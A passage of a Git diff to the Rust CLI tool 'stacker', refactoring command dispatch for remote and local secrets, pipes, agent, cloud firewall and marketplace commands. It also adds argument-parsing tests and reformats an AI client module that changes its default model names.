+                plan,
+                apply_plan,
+            } => Box::new(
+                stacker::console::commands::cli::service::ServiceDeployCommand::new(
+                    name,
+                    force,
+                    runtime,
+                    json,
+                    deployment,
+                    environment,
+                    plan,
+                    apply_plan,
+                ),
+            ),
             ServiceCommands::Remove { name, file } => Box::new(
                 stacker::console::commands::cli::service::ServiceRemoveCommand::new(name, file),
             ),
-            ServiceCommands::List { online } => Box::new(
-                stacker::console::commands::cli::service::ServiceListCommand::new(online),
-            ),
+            ServiceCommands::List { online } => {
+                Box::new(stacker::console::commands::cli::service::ServiceListCommand::new(online))
+            }
         },
-        StackerCommands::Resolve { confirm, force, deployment } => Box::new(
-            stacker::console::commands::cli::resolve::ResolveCommand::new(confirm, force, deployment),
+        StackerCommands::Resolve {
+            confirm,
+            force,
+            deployment,
+        } => Box::new(
+            stacker::console::commands::cli::resolve::ResolveCommand::new(
+                confirm, force, deployment,
+            ),
         ),
         StackerCommands::Update { channel } => Box::new(
             stacker::console::commands::cli::update::UpdateCommand::new(channel),
         ),
         StackerCommands::Secrets { command: sec_cmd } => match sec_cmd {
-            SecretsCommands::Set { key_value, file } => Box::new(
-                stacker::console::commands::cli::secrets::SecretsSetCommand::new(key_value, file),
-            ),
-            SecretsCommands::Get { key, file, show } => Box::new(
-                stacker::console::commands::cli::secrets::SecretsGetCommand::new(key, file, show),
-            ),
-            SecretsCommands::List { file, show } => Box::new(
-                stacker::console::commands::cli::secrets::SecretsListCommand::new(file, show),
-            ),
-            SecretsCommands::Delete { key, file } => Box::new(
-                stacker::console::commands::cli::secrets::SecretsDeleteCommand::new(key, file),
+            SecretsCommands::Set {
+                input,
+                file,
+                scope,
+                project,
+                service,
+                server_id,
+                body,
+                body_file,
+            } => {
+                if should_use_remote_secret_set(
+                    scope, &project, &service, server_id, &body, &body_file,
+                ) {
+                    let scope = inferred_remote_secret_scope(scope, &service, server_id)
+                        .unwrap_or(RemoteSecretScope::Service);
+                    Box::new(
+                        stacker::console::commands::cli::secrets::SecretsSetCommand::new_remote(
+                            input, scope, project, service, server_id, body, body_file,
+                        ),
+                    )
+                } else {
+                    Box::new(
+                        stacker::console::commands::cli::secrets::SecretsSetCommand::new(
+                            input, file,
+                        ),
+                    )
+                }
+            }
+            SecretsCommands::Get {
+                key,
+                file,
+                show,
+                scope,
+                project,
+                service,
+                server_id,
+                json,
+            } => {
+                if should_use_remote_secret_metadata(scope, &project, &service, server_id, json) {
+                    let scope = inferred_remote_secret_scope(scope, &service, server_id)
+                        .unwrap_or(RemoteSecretScope::Service);
+                    Box::new(
+                        stacker::console::commands::cli::secrets::SecretsGetCommand::new_remote(
+                            key, scope, project, service, server_id, json,
+                        ),
+                    )
+                } else {
+                    Box::new(
+                        stacker::console::commands::cli::secrets::SecretsGetCommand::new(
+                            key, file, show,
+                        ),
+                    )
+                }
+            }
+            SecretsCommands::List {
+                file,
+                show,
+                scope,
+                project,
+                service,
+                server_id,
+                json,
+            } => {
+                if should_use_remote_secret_metadata(scope, &project, &service, server_id, json) {
+                    let scope = inferred_remote_secret_scope(scope, &service, server_id)
+                        .unwrap_or(RemoteSecretScope::Service);
+                    Box::new(
+                        stacker::console::commands::cli::secrets::SecretsListCommand::new_remote(
+                            scope, project, service, server_id, json,
+                        ),
+                    )
+                } else {
+                    Box::new(
+                        stacker::console::commands::cli::secrets::SecretsListCommand::new(
+                            file, show,
+                        ),
+                    )
+                }
+            }
+            SecretsCommands::Apps {
+                command,
+                project,
+                json,
+            } => match command {
+                Some(SecretsAppsCommands::Register {
+                    service,
+                    project: command_project,
+                    json: command_json,
+                }) => Box::new(
+                    stacker::console::commands::cli::secrets::SecretsAppsCommand::register(
+                        service,
+                        command_project.or(project),
+                        json || command_json,
+                    ),
+                ),
+                Some(SecretsAppsCommands::Sync {
+                    project: command_project,
+                    json: command_json,
+                }) => Box::new(
+                    stacker::console::commands::cli::secrets::SecretsAppsCommand::sync(
+                        command_project.or(project),
+                        json || command_json,
+                    ),
+                ),
+                None => Box::new(
+                    stacker::console::commands::cli::secrets::SecretsAppsCommand::new(
+                        project, json,
+                    ),
+                ),
+            },
+            SecretsCommands::Push {
+                service,
+                project,
+                force,
+                json,
+                deployment,
+                environment,
+            } => Box::new(
+                stacker::console::commands::cli::secrets::SecretsPushCommand::new(
+                    project,
+                    service,
+                    force,
+                    json,
+                    deployment,
+                    environment,
+                ),
             ),
+            SecretsCommands::Delete {
+                key,
+                file,
+                scope,
+                project,
+                service,
+                server_id,
+            } => {
+                if scope.is_some() || project.is_some() || service.is_some() || server_id.is_some()
+                {
+                    let scope = inferred_remote_secret_scope(scope, &service, server_id)
+                        .unwrap_or(RemoteSecretScope::Service);
+                    Box::new(
+                        stacker::console::commands::cli::secrets::SecretsDeleteCommand::new_remote(
+                            key, scope, project, service, server_id,
+                        ),
+                    )
+                } else {
+                    Box::new(
+                        stacker::console::commands::cli::secrets::SecretsDeleteCommand::new(
+                            key, file,
+                        ),
+                    )
+                }
+            }
             SecretsCommands::Validate { file } => Box::new(
                 stacker::console::commands::cli::secrets::SecretsValidateCommand::new(file),
             ),
@@ -1195,51 +2399,177 @@ fn get_command(
         StackerCommands::Pipe { command: pipe_cmd } => {
             use stacker::console::commands::cli::pipe;
             match pipe_cmd {
-                PipeCommands::Scan { app, protocols, capture_samples, json, deployment } => Box::new(
-                    pipe::PipeScanCommand::new(app, protocols, capture_samples, json, deployment),
-                ),
-                PipeCommands::Create { source, target, manual, json, deployment } => Box::new(
-                    pipe::PipeCreateCommand::new(source, target, manual, json, deployment),
-                ),
-                PipeCommands::List { json, deployment } => Box::new(
-                    pipe::PipeListCommand::new(json, deployment),
-                ),
-                PipeCommands::Activate { pipe_id, trigger, poll_interval, json, deployment } => Box::new(
-                    pipe::PipeActivateCommand::new(pipe_id, trigger, poll_interval, json, deployment),
-                ),
-                PipeCommands::Deactivate { pipe_id, json, deployment } => Box::new(
-                    pipe::PipeDeactivateCommand::new(pipe_id, json, deployment),
-                ),
-                PipeCommands::Trigger { pipe_id, data, json, deployment } => Box::new(
-                    pipe::PipeTriggerCommand::new(pipe_id, data, json, deployment),
-                ),
-                PipeCommands::History { instance_id, limit, json, deployment } => Box::new(
-                    pipe::PipeHistoryCommand::new(instance_id, limit, json, deployment),
-                ),
-                PipeCommands::Replay { execution_id, json, deployment } => Box::new(
-                    pipe::PipeReplayCommand::new(execution_id, json, deployment),
-                ),
+                PipeCommands::Scan {
+                    legacy_selector,
+                    app,
+                    containers,
+                    container,
+                    protocols,
+                    capture_samples,
+                    json,
+                    deployment,
+                } => {
+                    let request = if let Some(app) = app {
+                        pipe::PipeScanRequest::App { app, container }
+                    } else if let Some(filter) = containers {
+                        let filter = if filter == "*" { None } else { Some(filter) };
+                        pipe::PipeScanRequest::Containers { filter }
+                    } else {
+                        pipe::PipeScanRequest::Legacy {
+                            selector: legacy_selector,
+                        }
+                    };
+                    Box::new(pipe::PipeScanCommand::new(
+                        request,
+                        protocols,
+                        capture_samples,
+                        json,
+                        deployment,
+                    ))
+                }
+                PipeCommands::Create {
+                    source,
+                    target,
+                    manual,
+                    ai,
+                    no_ai,
+                    ml,
+                    json,
+                    deployment,
+                } => Box::new(pipe::PipeCreateCommand::new(
+                    source, target, manual, ai, no_ai, ml, json, deployment,
+                )),
+                PipeCommands::List { json, deployment } => {
+                    Box::new(pipe::PipeListCommand::new(json, deployment))
+                }
+                PipeCommands::Activate {
+                    pipe_id,
+                    trigger,
+                    poll_interval,
+                    json,
+                    deployment,
+                } => Box::new(pipe::PipeActivateCommand::new(
+                    pipe_id,
+                    trigger,
+                    poll_interval,
+                    json,
+                    deployment,
+                )),
+                PipeCommands::Deactivate {
+                    pipe_id,
+                    json,
+                    deployment,
+                } => Box::new(pipe::PipeDeactivateCommand::new(pipe_id, json, deployment)),
+                PipeCommands::Trigger {
+                    pipe_id,
+                    data,
+                    json,
+                    deployment,
+                } => Box::new(pipe::PipeTriggerCommand::new(
+                    pipe_id, data, json, deployment,
+                )),
+                PipeCommands::History {
+                    instance_id,
+                    limit,
+                    json,
+                    deployment,
+                } => Box::new(pipe::PipeHistoryCommand::new(
+                    instance_id,
+                    limit,
+                    json,
+                    deployment,
+                )),
+                PipeCommands::Replay {
+                    execution_id,
+                    json,
+                    deployment,
+                } => Box::new(pipe::PipeReplayCommand::new(execution_id, json, deployment)),
+                PipeCommands::Deploy {
+                    instance_id,
+                    deployment,
+                    json,
+                } => Box::new(pipe::PipeDeployCommand::new(instance_id, deployment, json)),
             }
-        },
+        }
         StackerCommands::Agent { command: agent_cmd } => {
             use stacker::console::commands::cli::agent;
             match agent_cmd {
-                AgentCommands::Health { app, system, json, deployment } => Box::new(
-                    agent::AgentHealthCommand::new(app, json, deployment, system),
-                ),
-                AgentCommands::Logs { app, limit, json, deployment } => Box::new(
-                    agent::AgentLogsCommand::new(app, Some(limit), json, deployment),
-                ),
-                AgentCommands::Restart { app, force, json, deployment } => Box::new(
-                    agent::AgentRestartCommand::new(app, force, json, deployment),
-                ),
-                AgentCommands::DeployApp { app, image, force, runtime, json, deployment } => Box::new(
-                    agent::AgentDeployAppCommand::new(app, image, force, runtime, json, deployment),
-                ),
-                AgentCommands::RemoveApp { app, volumes, remove_image, force, json, deployment } => Box::new(
-                    agent::AgentRemoveAppCommand::new(app, volumes, remove_image, force, json, deployment),
+                AgentCommands::Health {
+                    app,
+                    system,
+                    json,
+                    deployment,
+                } => Box::new(agent::AgentHealthCommand::new(
+                    app, json, deployment, system,
+                )),
+                AgentCommands::Logs {
+                    app,
+                    limit,
+                    json,
+                    deployment,
+                } => Box::new(agent::AgentLogsCommand::new(
+                    app,
+                    Some(limit),
+                    json,
+                    deployment,
+                )),
+                AgentCommands::Restart {
+                    app,
+                    force,
+                    json,
+                    deployment,
+                } => Box::new(agent::AgentRestartCommand::new(
+                    app, force, json, deployment,
+                )),
+                AgentCommands::DeployApp {
+                    app,
+                    image,
+                    force,
+                    runtime,
+                    json,
+                    deployment,
+                    environment,
+                    plan,
+                    apply_plan,
+                } => Box::new(
+                    agent::AgentDeployAppCommand::new(
+                        app,
+                        image,
+                        force,
+                        runtime,
+                        json,
+                        deployment,
+                        environment,
+                    )
+                    .with_plan(plan)
+                    .with_apply_plan(apply_plan),
                 ),
-                AgentCommands::ConfigureFirewall { action, list, app, public_ports, private_ports, persist, force, json, deployment } => {
+                AgentCommands::RemoveApp {
+                    app,
+                    volumes,
+                    remove_image,
+                    force,
+                    json,
+                    deployment,
+                } => Box::new(agent::AgentRemoveAppCommand::new(
+                    app,
+                    volumes,
+                    remove_image,
+                    force,
+                    json,
+                    deployment,
+                )),
+                AgentCommands::ConfigureFirewall {
+                    action,
+                    list,
+                    app,
+                    public_ports,
+                    private_ports,
+                    persist,
+                    force,
+                    json,
+                    deployment,
+                } => {
                     let effective_action = if list { "list".to_string() } else { action };
                     Box::new(agent::AgentConfigureFirewallCommand::new(
                         effective_action,
@@ -1252,30 +2582,107 @@ fn get_command(
                         deployment,
                     ))
                 }
-                AgentCommands::ConfigureProxy { app, domain, port, ssl, action, force, json, deployment } => Box::new(
-                    agent::AgentConfigureProxyCommand::new(app, domain, port, ssl, action, force, json, deployment),
-                ),
+                AgentCommands::ConfigureProxy {
+                    app,
+                    domain,
+                    port,
+                    ssl,
+                    no_ssl,
+                    action,
+                    force,
+                    json,
+                    deployment,
+                } => Box::new(agent::AgentConfigureProxyCommand::new(
+                    app, domain, port, ssl, no_ssl, action, force, json, deployment,
+                )),
                 AgentCommands::List { command: list_cmd } => match list_cmd {
-                    AgentListCommands::Apps { json, deployment } => Box::new(
-                        agent::AgentListAppsCommand::new(json, deployment),
-                    ),
-                    AgentListCommands::Containers { json, deployment } => Box::new(
-                        agent::AgentListContainersCommand::new(json, deployment),
-                    ),
+                    AgentListCommands::Apps { json, deployment } => {
+                        Box::new(agent::AgentListAppsCommand::new(json, deployment))
+                    }
+                    AgentListCommands::Containers { json, deployment } => {
+                        Box::new(agent::AgentListContainersCommand::new(json, deployment))
+                    }
                 },
-                AgentCommands::Status { json, deployment } => Box::new(
-                    agent::AgentStatusCommand::new(json, deployment),
+                AgentCommands::Apps { json, deployment } => {
+                    Box::new(agent::AgentListAppsCommand::new(json, deployment))
+                }
+                AgentCommands::Containers { json, deployment } => {
+                    Box::new(agent::AgentListContainersCommand::new(json, deployment))
+                }
+                AgentCommands::Status { json, deployment } => {
+                    Box::new(agent::AgentStatusCommand::new(json, deployment))
+                }
+                AgentCommands::History { json, deployment } => {
+                    Box::new(agent::AgentHistoryCommand::new(json, deployment))
+                }
+                AgentCommands::Exec {
+                    command_type,
+                    params,
+                    timeout,
+                    json,
+                    deployment,
+                } => Box::new(agent::AgentExecCommand::new(
+                    command_type,
+                    params,
+                    timeout,
+                    json,
+                    deployment,
+                )),
+                AgentCommands::Install {
+                    file,
+                    persist_config,
+                    json,
+                    local,
+                } => Box::new(
+                    agent::AgentInstallCommand::new(file, persist_config, json).with_local(local),
                 ),
-                AgentCommands::History { json, deployment } => Box::new(
-                    agent::AgentHistoryCommand::new(json, deployment),
+            }
+        }
+        StackerCommands::Cloud { command } => match command {
+            CloudCommands::Firewall { command } => match command {
+                CloudFirewallCommands::Add {
+                    server_id,
+                    public_ports,
+                    private_ports,
+                    dry_run,
+                    json,
+                } => Box::new(
+                    stacker::console::commands::cli::cloud_firewall::CloudFirewallCommand::new(
+                        stacker::forms::CloudFirewallAction::Add,
+                        server_id,
+                        public_ports,
+                        private_ports,
+                        dry_run,
+                        json,
+                    ),
                 ),
-                AgentCommands::Exec { command_type, params, timeout, json, deployment } => Box::new(
-                    agent::AgentExecCommand::new(command_type, params, timeout, json, deployment),
+                CloudFirewallCommands::Remove {
+                    server_id,
+                    public_ports,
+                    private_ports,
+                    dry_run,
+                    json,
+                } => Box::new(
+                    stacker::console::commands::cli::cloud_firewall::CloudFirewallCommand::new(
+                        stacker::forms::CloudFirewallAction::Remove,
+                        server_id,
+                        public_ports,
+                        private_ports,
+                        dry_run,
+                        json,
+                    ),
                 ),
-                AgentCommands::Install { file, json } => Box::new(
-                    agent::AgentInstallCommand::new(file, json),
+                CloudFirewallCommands::List { server_id, json } => Box::new(
+                    stacker::console::commands::cli::cloud_firewall::CloudFirewallCommand::new(
+                        stacker::forms::CloudFirewallAction::List,
+                        server_id,
+                        vec![],
+                        vec![],
+                        false,
+                        json,
+                    ),
                 ),
-            }
+            },
         },
         StackerCommands::Submit {
             file,
@@ -1284,9 +2691,45 @@ fn get_command(
             category,
             plan_type,
             price,
+        } => Box::new(stacker::console::commands::cli::submit::SubmitCommand::new(
+            file,
+            version,
+            description,
+            category,
+            plan_type,
+            price,
+        )),
+        StackerCommands::Find { query, json, limit } => Box::new(
+            stacker::console::commands::cli::marketplace::MarketplaceFindCommand::new(
+                query, json, limit,
+            ),
+        ),
+        StackerCommands::Templates {
+            category,
+            tag,
+            json,
         } => Box::new(
-            stacker::console::commands::cli::submit::SubmitCommand::new(
-                file, version, description, category, plan_type, price,
+            stacker::console::commands::cli::marketplace::MarketplaceTemplatesCommand::new(
+                category, tag, json,
+            ),
+        ),
+        StackerCommands::Install {
+            template,
+            name,
+            file,
+            force,
+            json,
+            domain,
+            set_values,
+            key,
+            key_id,
+            region,
+            size,
+            provider,
+        } => Box::new(
+            stacker::console::commands::cli::marketplace::MarketplaceInstallCommand::new(
+                template, name, file, force, json, domain, set_values, key, key_id, region, size,
+                provider,
             ),
         ),
         StackerCommands::Marketplace { command: mkt_cmd } => match mkt_cmd {
@@ -1308,12 +2751,531 @@ fn get_command(
                 plan_type,
                 price,
             } => Box::new(stacker::console::commands::cli::submit::SubmitCommand::new(
-                file, version, description, category, plan_type, price,
+                file,
+                version,
+                description,
+                category,
+                plan_type,
+                price,
             )),
         },
         // Completion is handled in main() before this function is called.
         StackerCommands::Completion { .. } => unreachable!(),
+        // Target is handled in main() before this function is called.
+        StackerCommands::Target { .. } => unreachable!(),
+        // Env is handled in main() before this function is called.
+        StackerCommands::Env { .. } => unreachable!(),
     };
 
     Ok(cmd)
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    fn render_command_help(command: &mut clap::Command) -> String {
+        let mut buffer = Vec::new();
+        command
+            .write_long_help(&mut buffer)
+            .expect("help rendering should succeed");
+        String::from_utf8(buffer).expect("help output should be valid UTF-8")
+    }
+
+    #[test]
+    fn test_deploy_parses_environment_alias() {
+        let cli = Cli::try_parse_from([
+            "stacker",
+            "deploy",
+            "--target",
+            "cloud",
+            "--env",
+            "production",
+        ])
+        .unwrap();
+
+        match cli.command.unwrap() {
+            StackerCommands::Deploy {
+                target,
+                environment,
+                ..
+            } => {
+                assert_eq!(target.as_deref(), Some("cloud"));
+                assert_eq!(environment.as_deref(), Some("production"));
+            }
+            _ => panic!("expected deploy command"),
+        }
+    }
+
+    #[test]
+    fn test_deploy_parses_environment_long_alias() {
+        let cli = Cli::try_parse_from([
+            "stacker",
+            "deploy",
+            "--target",
+            "cloud",
+            "--environment",
+            "staging",
+        ])
+        .unwrap();
+
+        match cli.command.unwrap() {
+            StackerCommands::Deploy { environment, .. } => {
+                assert_eq!(environment.as_deref(), Some("staging"));
+            }
+            _ => panic!("expected deploy command"),
+        }
+    }
+
+    #[test]
+    fn test_whoami_parses() {
+        let cli = Cli::try_parse_from(["stacker", "whoami"]).unwrap();
+
+        match cli.command.unwrap() {
+            StackerCommands::Whoami {} => {}
+            _ => panic!("expected whoami command"),
+        }
+    }
+
+    #[test]
+    fn test_ai_ask_parses_scenario_flags() {
+        let cli = Cli::try_parse_from([
+            "stacker",
+            "ai",
+            "ask",
+            "continue",
+            "--scenario",
+            "website-deploy",
+            "--step",
+            "cloud-deploy",
+        ])
+        .unwrap();
+
+        match cli.command.unwrap() {
+            StackerCommands::Ai(ai_args) => {
+                assert_eq!(ai_args.scenario.as_deref(), Some("website-deploy"));
+                assert_eq!(ai_args.step.as_deref(), Some("cloud-deploy"));
+            }
+            _ => panic!("expected ai command"),
+        }
+    }
+
+    #[test]
+    fn test_ai_chat_parses_scenario_flags() {
+        let cli = Cli::try_parse_from([
+            "stacker",
+            "ai",
+            "--scenario",
+            "website-deploy",
+            "--step",
+            "init-validate",
+        ])
+        .unwrap();
+
+        match cli.command.unwrap() {
+            StackerCommands::Ai(ai_args) => {
+                assert_eq!(ai_args.scenario.as_deref(), Some("website-deploy"));
+                assert_eq!(ai_args.step.as_deref(), Some("init-validate"));
+            }
+            _ => panic!("expected ai command"),
+        }
+    }
+
+    #[test]
+    fn test_pipe_scan_parses_without_selector() {
+        let cli = Cli::try_parse_from(["stacker", "pipe", "scan"]).unwrap();
+        match cli.command.unwrap() {
+            StackerCommands::Pipe {
+                command:
+                    PipeCommands::Scan {
+                        legacy_selector,
+                        app,
+                        containers,
+                        container,
+                        ..
+                    },
+            } => {
+                assert!(legacy_selector.is_none());
+                assert!(app.is_none());
+                assert!(containers.is_none());
+                assert!(container.is_none());
+            }
+            _ => panic!("expected pipe scan command"),
+        }
+    }
+
+    #[test]
+    fn test_pipe_scan_parses_containers_flag() {
+        let cli =
+            Cli::try_parse_from(["stacker", "pipe", "scan", "--containers", "upload"]).unwrap();
+        match cli.command.unwrap() {
+            StackerCommands::Pipe {
+                command:
+                    PipeCommands::Scan {
+                        containers,
+                        legacy_selector,
+                        ..
+                    },
+            } => {
+                assert_eq!(containers.as_deref(), Some("upload"));
+                assert!(legacy_selector.is_none());
+            }
+            _ => panic!("expected pipe scan command"),
+        }
+    }
+
+    #[test]
+    fn test_pipe_scan_parses_app_flag() {
+        let cli = Cli::try_parse_from([
+            "stacker",
+            "pipe",
+            "scan",
+            "--app",
+            "website",
+            "--container",
+            "website-web-1",
+        ])
+        .unwrap();
+        match cli.command.unwrap() {
+            StackerCommands::Pipe {
+                command: PipeCommands::Scan { app, container, .. },
+            } => {
+                assert_eq!(app.as_deref(), Some("website"));
+                assert_eq!(container.as_deref(), Some("website-web-1"));
+            }
+            _ => panic!("expected pipe scan command"),
+        }
+    }
+
+    #[test]
+    fn test_pipe_scan_parses_legacy_selector() {
+        let cli = Cli::try_parse_from(["stacker", "pipe", "scan", "website"]).unwrap();
+        match cli.command.unwrap() {
+            StackerCommands::Pipe {
+                command:
+                    PipeCommands::Scan {
+                        legacy_selector,
+                        app,
+                        containers,
+                        ..
+                    },
+            } => {
+                assert_eq!(legacy_selector.as_deref(), Some("website"));
+                assert!(app.is_none());
+                assert!(containers.is_none());
+            }
+            _ => panic!("expected pipe scan command"),
+        }
+    }
+
+    #[test]
+    fn test_pipe_scan_parses_legacy_keyword_app() {
+        let cli = Cli::try_parse_from(["stacker", "pipe", "scan", "app"]).unwrap();
+        match cli.command.unwrap() {
+            StackerCommands::Pipe {
+                command:
+                    PipeCommands::Scan {
+                        legacy_selector,
+                        app,
+                        containers,
+                        ..
+                    },
+            } => {
+                assert_eq!(legacy_selector.as_deref(), Some("app"));
+                assert!(app.is_none());
+                assert!(containers.is_none());
+            }
+            _ => panic!("expected pipe scan command"),
+        }
+    }
+
+    #[test]
+    fn test_pipe_scan_parses_legacy_keyword_containers() {
+        let cli = Cli::try_parse_from(["stacker", "pipe", "scan", "containers"]).unwrap();
+        match cli.command.unwrap() {
+            StackerCommands::Pipe {
+                command:
+                    PipeCommands::Scan {
+                        legacy_selector,
+                        app,
+                        containers,
+                        ..
+                    },
+            } => {
+                assert_eq!(legacy_selector.as_deref(), Some("containers"));
+                assert!(app.is_none());
+                assert!(containers.is_none());
+            }
+            _ => panic!("expected pipe scan command"),
+        }
+    }
+
+    #[test]
+    fn test_secrets_set_still_parses_local_key_value() {
+        let parsed = Cli::try_parse_from(["stacker", "secrets", "set", "DB_PASSWORD=supersecret"]);
+        assert!(
+            parsed.is_ok(),
+            "local secrets set syntax must remain supported"
+        );
+    }
+
+    #[test]
+    fn test_secrets_set_parses_remote_service_flags() {
+        let parsed = Cli::try_parse_from([
+            "stacker",
+            "secrets",
+            "set",
+            "S3_SECRET_KEY",
+            "--project",
+            "blog",
+            "--service",
+            "uploader",
+            "--body",
+            "supersecret",
+        ]);
+
+        assert!(
+            parsed.is_ok(),
+            "remote service secret syntax should parse successfully"
+        );
+    }
+
+    #[test]
+    fn test_secrets_set_still_parses_explicit_remote_service_scope() {
+        let parsed = Cli::try_parse_from([
+            "stacker",
+            "secrets",
+            "set",
+            "S3_SECRET_KEY",
+            "--scope",
+            "service",
+            "--service",
+            "uploader",
+            "--body",
+            "supersecret",
+        ]);
+
+        assert!(
+            parsed.is_ok(),
+            "explicit remote service scope should remain supported"
+        );
+    }
+
+    #[test]
+    fn test_secrets_set_parses_remote_server_flags() {
+        let parsed = Cli::try_parse_from([
+            "stacker",
+            "secrets",
+            "set",
+            "NPM_TOKEN",
+            "--scope",
+            "server",
+            "--server-id",
+            "42",
+            "--body-file",
+            "/tmp/npm-token.txt",
+        ]);
+
+        assert!(
+            parsed.is_ok(),
+            "remote server secret syntax should parse successfully"
+        );
+    }
+
+    #[test]
+    fn test_secrets_list_parses_remote_scope_and_json() {
+        let parsed = Cli::try_parse_from([
+            "stacker",
+            "secrets",
+            "list",
+            "--project",
+            "blog",
+            "--service",
+            "uploader",
+            "--json",
+        ]);
+
+        assert!(
+            parsed.is_ok(),
+            "remote secrets list syntax should parse successfully"
+        );
+    }
+
+    #[test]
+    fn test_secrets_get_parses_service_without_scope() {
+        let parsed = Cli::try_parse_from([
+            "stacker",
+            "secrets",
+            "get",
+            "S3_BUCKET",
+            "--service",
+            "upload",
+            "--json",
+        ]);
+
+        assert!(
+            parsed.is_ok(),
+            "remote service get should infer service scope from --service"
+        );
+    }
+
+    #[test]
+    fn test_secrets_delete_parses_service_without_scope() {
+        let parsed = Cli::try_parse_from([
+            "stacker",
+            "secrets",
+            "delete",
+            "S3_BUCKET",
+            "--service",
+            "upload",
+        ]);
+
+        assert!(
+            parsed.is_ok(),
+            "remote service delete should infer service scope from --service"
+        );
+    }
+
+    #[test]
+    fn test_secrets_apps_parses_project_lookup_flags() {
+        let parsed = Cli::try_parse_from(["stacker", "secrets", "apps", "--json"]);
+
+        assert!(
+            parsed.is_ok(),
+            "remote secrets apps syntax should parse successfully"
+        );
+    }
+
+    #[test]
+    fn test_secrets_apps_parses_register_and_sync() {
+        let register = Cli::try_parse_from([
+            "stacker",
+            "secrets",
+            "apps",
+            "register",
+            "upload",
+            "--project",
+            "blog",
+            "--json",
+        ]);
+        let sync = Cli::try_parse_from(["stacker", "secrets", "apps", "sync", "--json"]);
+
+        assert!(
+            register.is_ok(),
+            "secrets apps register should parse successfully"
+        );
+        assert!(sync.is_ok(), "secrets apps sync should parse successfully");
+    }
+
+    #[test]
+    fn test_top_level_servers_alias_parses() {
+        let parsed = Cli::try_parse_from(["stacker", "servers", "--json"]);
+
+        assert!(
+            parsed.is_ok(),
+            "top-level servers alias should parse successfully"
+        );
+    }
+
+    #[test]
+    fn test_top_level_deployments_alias_parses() {
+        let parsed = Cli::try_parse_from([
+            "stacker",
+            "deployments",
+            "--project",
+            "42",
+            "--limit",
+            "10",
+            "--json",
+        ]);
+
+        assert!(
+            parsed.is_ok(),
+            "top-level deployments alias should parse successfully"
+        );
+    }
+
+    #[test]
+    fn test_top_level_ssh_keys_alias_parses() {
+        let parsed = Cli::try_parse_from(["stacker", "ssh-keys", "--json"]);
+
+        assert!(
+            parsed.is_ok(),
+            "top-level ssh-keys alias should parse successfully"
+        );
+    }
+
+    #[test]
+    fn test_agent_apps_alias_parses() {
+        let parsed = Cli::try_parse_from([
+            "stacker",
+            "agent",
+            "apps",
+            "--deployment",
+            "deployment_demo",
+            "--json",
+        ]);
+
+        assert!(parsed.is_ok(), "agent apps alias should parse successfully");
+    }
+
+    #[test]
+    fn test_agent_containers_alias_parses() {
+        let parsed = Cli::try_parse_from([
+            "stacker",
+            "agent",
+            "containers",
+            "--deployment",
+            "deployment_demo",
+            "--json",
+        ]);
+
+        assert!(
+            parsed.is_ok(),
+            "agent containers alias should parse successfully"
+        );
+    }
+
+    #[test]
+    fn test_secrets_help_mentions_remote_modes() {
+        let mut command = Cli::command();
+        let secrets = command
+            .find_subcommand_mut("secrets")
+            .expect("secrets subcommand should exist");
+        let help = render_command_help(secrets);
+
+        assert!(help.contains("Vault-backed secrets"));
+        assert!(help.contains("--scope service"));
+        assert!(help.contains("--scope server"));
+        assert!(help.contains("metadata-only"));
+        assert!(help.contains("List valid remote deployable service/app target codes"));
+    }
+
+    #[test]
+    fn test_secrets_help_describes_service_scope_as_deployable_target() {
+        let mut command = Cli::command();
+        let secrets = command
+            .find_subcommand_mut("secrets")
+            .expect("secrets subcommand should exist");
+        let help = render_command_help(secrets);
+
+        assert!(help.contains("deployable service/app target"));
+        assert!(help.contains("stacker secrets apps"));
+    }
+
+    #[test]
+    fn test_secrets_get_help_mentions_metadata_only_remote_reads() {
+        let mut command = Cli::command();
+        let secrets = command
+            .find_subcommand_mut("secrets")
+            .expect("secrets subcommand should exist");
+        let get = secrets
+            .find_subcommand_mut("get")
+            .expect("get subcommand should exist");
+        let help = render_command_help(get);
+
+        assert!(help.contains("metadata-only"));
+        assert!(help.contains("--scope <SCOPE>"));
+        assert!(help.contains("--json"));
+    }
+}
diff --git a/src/cli/ai_client.rs b/src/cli/ai_client.rs
index 2139477c..3bb1285d 100644
--- a/src/cli/ai_client.rs
+++ b/src/cli/ai_client.rs
@@ -22,8 +22,8 @@ pub const OLLAMA_TAGS_URL: &str = "http://localhost:11434/api/tags";
 pub fn default_model(provider: AiProviderType) -> &'static str {
     match provider {
         AiProviderType::Openai => "gpt-4o",
-        AiProviderType::Anthropic => "claude-sonnet-4-20250514",
-        AiProviderType::Ollama => "llama3",
+        AiProviderType::Anthropic => "claude-haiku-4-5-20251001",
+        AiProviderType::Ollama => "qwen2.5-coder",
         AiProviderType::Custom => "default",
     }
 }
@@ -169,13 +169,28 @@ pub struct ChatMessage {
 
 impl ChatMessage {
     pub fn system(content: impl Into<String>) -> Self {
-        Self { role: "system".to_string(), content: content.into(), tool_calls: None, tool_call_id: None }
+        Self {
+            role: "system".to_string(),
+            content: content.into(),
+            tool_calls: None,
+            tool_call_id: None,
+        }
     }
     pub fn user(content: impl Into<String>) -> Self {
-        Self { role: "user".to_string(), content: content.into(), tool_calls: None, tool_call_id: None }
+        Self {
+            role: "user".to_string(),
+            content: content.into(),
+            tool_calls: None,
+            tool_call_id: None,
+        }
     }
     pub fn tool_result(id: Option<String>, content: impl Into<String>) -> Self {
-        Self { role: "tool".to_string(), content: content.into(), tool_calls: None, tool_call_id: id }
+        Self {
+            role: "tool".to_string(),
+            content: content.into(),
+            tool_calls: None,
+            tool_call_id: id,
+        }
     }
 }
 
@@ -209,7 +224,8 @@ pub enum AiResponse {
 pub fn write_file_tool() -> ToolDef {
     ToolDef {
         name: "write_file".to_string(),
-        description: "Write content to a file on disk. Creates parent directories as needed.".to_string(),
+        description: "Write content to a file on disk. Creates parent directories as needed."
+            .to_string(),
         parameters: serde_json::json!({
             "type": "object",
             "properties": {
@@ -239,7 +255,8 @@ pub fn list_directory_tool() -> ToolDef {
     ToolDef {
         name: "list_directory".to_string(),
         description: "List files and folders in a directory within the project. \
-                      Use '.' for the project root.".to_string(),
+                      Use '.' for the project root."
+            .to_string(),
         parameters: serde_json::json!({
             "type": "object",
             "properties": {
@@ -256,7 +273,8 @@ pub fn list_directory_tool() -> ToolDef {
 pub fn config_validate_tool() -> ToolDef {
     ToolDef {
         name: "config_validate".to_string(),
-        description: "Validate the stacker.yml configuration file and report any errors.".to_string(),
+        description: "Validate the stacker.yml configuration file and report any errors."
+            .to_string(),
         parameters: serde_json::json!({
             "type": "object",
             "properties": {},
@@ -268,7 +286,8 @@ pub fn config_validate_tool() -> ToolDef {
